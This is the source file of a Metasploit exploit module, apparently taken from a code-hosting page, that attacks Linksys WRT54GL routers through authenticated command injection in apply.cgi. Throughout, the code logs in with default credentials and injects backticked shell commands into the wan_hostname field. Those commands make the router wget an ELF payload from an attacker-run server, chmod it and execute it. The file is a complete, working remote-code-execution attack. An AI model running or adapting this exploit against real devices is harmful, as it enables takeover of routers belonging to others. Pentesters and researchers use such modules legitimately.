420 lines
19 KiB
Ruby
420 lines
19 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ManualRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::HttpServer
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include Msf::Exploit::EXE
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include Msf::Exploit::FileDropper
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Linksys WRT54GL apply.cgi Command Execution',
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'Description' => %q{
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Some Linksys Routers are vulnerable to an authenticated OS command injection in
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the Web Interface. Default credentials are admin/admin or admin/password. Since it
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is a blind os command injection vulnerability, there is no output for the executed
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command when using the cmd generic payload. A ping command against a controlled
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system could be used for testing purposes. The user must be prudent when using this
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module since it modifies the router configuration while exploitation, even when it
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tries to restore previous values.
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},
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'Author' =>
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[
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'Michael Messner <devnull[at]s3cur1ty.de>', # Vulnerability discovery and Metasploit module
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'juan vazquez' # minor help with msf module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '89912' ],
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[ 'BID', '57459' ],
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[ 'EDB', '24202' ],
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[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-001' ]
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],
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'DisclosureDate' => 'Jan 18 2013',
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'Privileged' => true,
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'Platform' => %w{ linux unix },
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'Payload' =>
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{
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'DisableNops' => true
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},
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'Targets' =>
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[
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[ 'CMD',
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{
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'Arch' => ARCH_CMD,
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'Platform' => 'unix'
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}
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],
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[ 'Linux mipsel Payload',
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{
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'Arch' => ARCH_MIPSLE,
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'Platform' => 'linux'
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}
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],
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],
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'DefaultTarget' => 1
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))
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register_options(
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[
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OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
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OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
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OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
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OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
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OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
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OptBool.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration', true ])
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], self.class)
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end
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def get_config(config, pattern)
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if config =~ /#{pattern}/
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return $1
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end
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return ""
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end
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def grab_config(user,pass)
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print_status("#{rhost}:#{rport} - Trying to download the original configuration")
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begin
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res = send_request_cgi({
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'uri' => '/index.asp',
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'method' => 'GET',
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'authorization' => basic_auth(user,pass)
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})
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if res.nil? or res.code == 404
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fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
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end
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if [200, 301, 302].include?(res.code)
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if res.body =~ /lan_ipaddr_0/
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print_good("#{rhost}:#{rport} - Successful downloaded the configuration")
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else
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fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible")
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end
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else
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fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
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end
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
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end
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#now_proto and wan_proto should be the same and it should be dhcp! Nothing else tested!
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@now_proto_orig = get_config(res.body, "<input\ type=hidden\ name=now_proto\ value=\'(.*)\'>")
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if @now_proto_orig !~ /dhcp/
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")
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end
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@wan_proto_orig = get_config(res.body, "var\ wan_proto\ =\ \'(.*)\'\;")
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if @wan_proto_orig !~ /dhcp/
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")
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end
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@lan_proto_orig = get_config(res.body, "<input\ type=\"radio\"\ name=\"lan_proto\"\ value=\"(.*)\"\ checked\ onClick=\"SelDHCP")
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@daylight_time_orig = get_config(res.body, "<input\ type=hidden\ name=daylight_time\ value=(.*)>")
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@lan_ipaddr_orig = get_config(res.body, "<input\ type=hidden\ name=\"lan_ipaddr\"\ value=(.*)>")
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@wait_time_orig = get_config(res.body, "<input\ type=hidden\ name=\"wait_time\"\ value=(.*)>")
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@need_reboot_orig = get_config(res.body, "<input\ type=hidden\ name=\"need_reboot\"\ value=(.*)>")
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@lan_ipaddr_0_orig = get_config(res.body, "onBlur\=valid_range\\(this\,1\,223\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>")
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@lan_ipaddr_1_orig = get_config(res.body, "\<INPUT\ class=num\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_1\">")
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@lan_ipaddr_2_orig = get_config(res.body, "\<INPUT\ class=num maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_2\">")
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@lan_ipaddr_3_orig = get_config(res.body, "<INPUT class=num maxLength=3\ onBlur=\"valid_range\\(this,1,254,'IP'\\)\;Sel_SubMask\\(this.form.lan_netmask,this.form\\);\"\ size=3" <<
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"\ value='(.*)'\ name=\"lan_ipaddr_3\"><\/TD>")
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@router_name_orig = get_config(res.body, "name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Router%20Name\"\\)><\/FONT><\/TD>")
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@wan_domain_orig = get_config(res.body, "name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Domain%20name\"\,SPACE_NO\\)><\/FONT><\/TD>")
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@wan_hostname_orig = get_config(res.body, "<INPUT\ maxLength=39\ name=\"wan_hostname\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Host%20Name\"\\)><\/FONT><\/TD>")
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@wan_mtu_orig = get_config(res.body, "<INPUT\ class=num\ maxLength=4\ onBlur=valid_mtu\\(this\\)\ size=5\ value='(.*)'\ name=\"wan_mtu\"><\/TD>")
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if @wan_mtu_orig.to_i > 1500
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@mtu_enable = "0"
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end
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@ui_language_orig = get_config(res.body, "<SCRIPT\ language=\"Javascript\"\ type=\"text\/javascript\" src=\"(.*)_lang_pack\/capsec.js\"><\/SCRIPT>")
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@dhcp_lease_orig = get_config(res.body, "<INPUT\ maxLength=4\ onBlur=valid_range\\(this\,0\,9999\,\"DHCP%20Lease%20Time\"\\)\ size=4\ value=\'(.*)\'\ name=\"dhcp_lease\"\ class=num")
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@dhcp_num_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,1\,253\,\"Number%20of%20DHCP%20users\"\\)\;Sel_SubMask_onblur\\(this.form.lan_netmask\,this.form\\)" <<
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"\ size=3\ value=\'(.*)\'\ name=\"dhcp_num\"\ class=num><\/TD>")
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@dhcp_start_orig = get_config(res.body, "Sel_SubMask_onblur\\(this.form.lan_netmask\,this.form\\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ " <<
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"onChange=\"valid_dhcpd_start_ip\\(this.form\,\ this\\)\">")
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@netmask_orig = get_config(res.body, "value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>")
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@wan_dns_orig = get_config(res.body, "<input\ type=hidden\ name=wan_dns\ value=(.*)><INPUT\ maxLength=3")
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@wan_dns0_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_0\"\ class=num\>")
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@wan_dns0_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\' name=\"wan_dns0_1\"\ class=num\>")
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@wan_dns0_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_2\"\ class=num\>")
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@wan_dns0_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_3\"\ class=num\>")
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@wan_dns1_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_0\"\ class=num\>")
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@wan_dns1_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\' name=\"wan_dns1_1\"\ class=num\>")
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@wan_dns1_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_2\"\ class=num\>")
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@wan_dns1_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_3\"\ class=num\>")
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@wan_dns2_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_0\"\ class=num\>")
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@wan_dns2_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\' name=\"wan_dns2_1\"\ class=num\>")
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@wan_dns2_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_2\"\ class=num\>")
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@wan_dns2_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_3\"\ class=num\>")
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@wan_wins_orig = get_config(res.body, "<input\ type=hidden\ name=wan_wins\ value=(.*)><INPUT\ maxLength=3")
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@wan_wins_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_0\"\ class=num>")
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@wan_wins_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_1\"\ class=num>")
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@wan_wins_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_2\"\ class=num>")
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@wan_wins_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_3\"\ class=num>")
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end
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def restore_conf(user,pass,uri)
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# we have used most parts of the original configuration
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# just need to restore wan_hostname
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cmd = @wan_hostname_orig.to_s
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print_status("#{rhost}:#{rport} - Asking the Linksys device to reload original configuration")
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res = request(cmd,user,pass,uri)
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if (!res)
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")
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end
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#the device needs around 10 seconds to apply our current configuration
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print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
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select(nil, nil, nil, @timeout)
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end
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def request(cmd,user,pass,uri)
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begin
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res = send_request_cgi({
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'uri' => uri,
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'method' => 'POST',
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'authorization' => basic_auth(user,pass),
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'encode_params' => false,
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'vars_post' => {
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'submit_button' => "index",
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'change_action' => "1",
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'submit_type' => "1",
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'action' => "Apply",
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'now_proto' => @now_proto_orig.to_s,
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'daylight_time' => @daylight_time_orig.to_s,
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'lan_ipaddr' => @lan_ipaddr_orig.to_s,
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'wait_time' => @wait_time_orig.to_s,
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'need_reboot' => @need_reboot_orig.to_s,
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'ui_language' => @ui_language_orig,
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'wan_proto' => @wan_proto_orig.to_s,
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'router_name' => @router_name_orig.to_s,
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'wan_hostname' => cmd,
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'wan_domain' => @wan_domain_orig.to_s,
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'mtu_enable' => @mtu_enable.to_s,
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'wan_mtu' => @wan_mtu_orig.to_s,
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'lan_ipaddr_0' => @lan_ipaddr_0_orig.to_s,
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'lan_ipaddr_1' => @lan_ipaddr_1_orig.to_s,
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'lan_ipaddr_2' => @lan_ipaddr_2_orig.to_s,
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'lan_ipaddr_3' => @lan_ipaddr_3_orig.to_s,
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'lan_netmask' => "255.255.255.#{@netmask_orig}",
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'lan_proto' => @lan_proto_orig.to_s,
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'dhcp_check' => "1",
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'dhcp_start' => @dhcp_start_orig.to_s,
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'dhcp_num' => @dhcp_num_orig.to_s,
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'dhcp_lease' => @dhcp_lease_orig.to_s,
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'wan_dns' => @wan_dns_orig.to_s,
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'wan_dns0_0' => @wan_dns0_0_orig.to_s,
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'wan_dns0_1' => @wan_dns0_1_orig.to_s,
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'wan_dns0_2' => @wan_dns0_2_orig.to_s,
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'wan_dns0_3' => @wan_dns0_3_orig.to_s,
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'wan_dns1_0' => @wan_dns1_0_orig.to_s,
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'wan_dns1_1' => @wan_dns1_1_orig.to_s,
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'wan_dns1_2' => @wan_dns1_2_orig.to_s,
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'wan_dns1_3' => @wan_dns1_3_orig.to_s,
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'wan_dns2_0' => @wan_dns2_0_orig.to_s,
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'wan_dns2_1' => @wan_dns2_1_orig.to_s,
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'wan_dns2_2' => @wan_dns2_2_orig.to_s,
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'wan_dns2_3' => @wan_dns2_3_orig.to_s,
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'wan_wins' => @wan_wins_orig.to_s,
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'wan_wins_0' => @wan_wins_0_orig.to_s,
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'wan_wins_1' => @wan_wins_1_orig.to_s,
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'wan_wins_2' => @wan_wins_2_orig.to_s,
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'wan_wins_3' => @wan_wins_3_orig.to_s,
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'time_zone' => "-08+1+1", #default is ok
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'_daylight_time' => '1' #default is ok
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}
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})
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return res
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rescue ::Rex::ConnectionError
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vprint_error("#{rhost} - Failed to connect to the web server")
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return nil
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end
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end
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def exploit
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downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
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uri = '/apply.cgi'
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user = datastore['USERNAME']
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pass = datastore['PASSWORD']
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rhost = datastore['RHOST']
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rport = datastore['RPORT']
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restore = datastore['RESTORE_CONF']
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@timeout = 10
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#
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# testing Login
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#
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print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
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begin
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res = send_request_cgi({
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'uri' => uri,
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'method' => 'GET',
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'authorization' => basic_auth(user,pass)
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})
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if res.nil? or res.code == 404
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fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
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end
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if [200, 301, 302].include?(res.code)
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print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
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else
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fail_with(Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
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end
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
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end
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grab_config(user,pass)
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if target.name =~ /CMD/
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if not (datastore['CMD'])
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fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
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end
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cmd = payload.encoded
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cmd = "`#{cmd}`"
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res = request(cmd,user,pass,uri)
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if (!res)
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fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
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else
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print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
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end
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print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
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select(nil, nil, nil, @timeout)
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restore_conf(user,pass,uri) if restore
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return
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end
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#thx to Juan for his awesome work on the mipsel elf support
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@pl = generate_payload_exe
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@elf_sent = false
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#
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# start our server
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#
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resource_uri = '/' + downfile
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if (datastore['DOWNHOST'])
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service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
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else
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#do not use SSL
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if datastore['SSL']
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ssl_restore = true
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datastore['SSL'] = false
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end
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#we use SRVHOST as download IP for the coming wget command.
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#SRVHOST needs a real IP address of our download host
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if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
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srv_host = Rex::Socket.source_address(rhost)
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else
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srv_host = datastore['SRVHOST']
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end
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service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
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print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
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start_service({'Uri' => {
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'Proc' => Proc.new { |cli, req|
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on_request_uri(cli, req)
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},
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'Path' => resource_uri
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}})
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datastore['SSL'] = true if ssl_restore
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end
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#
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# download payload
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#
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print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")
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#this filename is used to store the payload on the device
|
|
filename = rand_text_alpha_lower(8)
|
|
|
|
#not working if we send all command together -> lets take three requests
|
|
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
|
|
cmd = "`#{cmd}`"
|
|
res = request(cmd,user,pass,uri)
|
|
if (!res)
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
|
end
|
|
|
|
# wait for payload download
|
|
if (datastore['DOWNHOST'])
|
|
#waiting some time so we could be sure that the device got the payload from our third party server
|
|
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload")
|
|
select(nil, nil, nil, datastore['HTTP_DELAY'])
|
|
else
|
|
wait_linux_payload
|
|
end
|
|
register_file_for_cleanup("/tmp/#{filename}")
|
|
|
|
#
|
|
# chmod
|
|
#
|
|
cmd = "chmod 777 /tmp/#{filename}"
|
|
cmd = "`#{cmd}`"
|
|
print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
|
|
res = request(cmd,user,pass,uri)
|
|
if (!res)
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
|
end
|
|
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
|
|
select(nil, nil, nil, @timeout)
|
|
|
|
#
|
|
# execute
|
|
#
|
|
cmd = "/tmp/#{filename}"
|
|
cmd = "`#{cmd}`"
|
|
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
|
|
res = request(cmd,user,pass,uri)
|
|
if (!res)
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
|
end
|
|
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
|
|
select(nil, nil, nil, @timeout)
|
|
|
|
#
|
|
#reload original configuration
|
|
#
|
|
if restore
|
|
restore_conf(user,pass,uri)
|
|
end
|
|
end
|
|
|
|
# Handle incoming requests from the server
|
|
def on_request_uri(cli, request)
|
|
#print_status("on_request_uri called: #{request.inspect}")
|
|
if (not @pl)
|
|
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
|
|
return
|
|
end
|
|
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
|
|
@elf_sent = true
|
|
send_response(cli, @pl)
|
|
end
|
|
|
|
# wait for the data to be sent
|
|
def wait_linux_payload
|
|
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
|
|
|
|
waited = 0
|
|
while (not @elf_sent)
|
|
select(nil, nil, nil, 1)
|
|
waited += 1
|
|
if (waited > datastore['HTTP_DELAY'])
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
|
|
end
|
|
end
|
|
end
|
|
|
|
end
|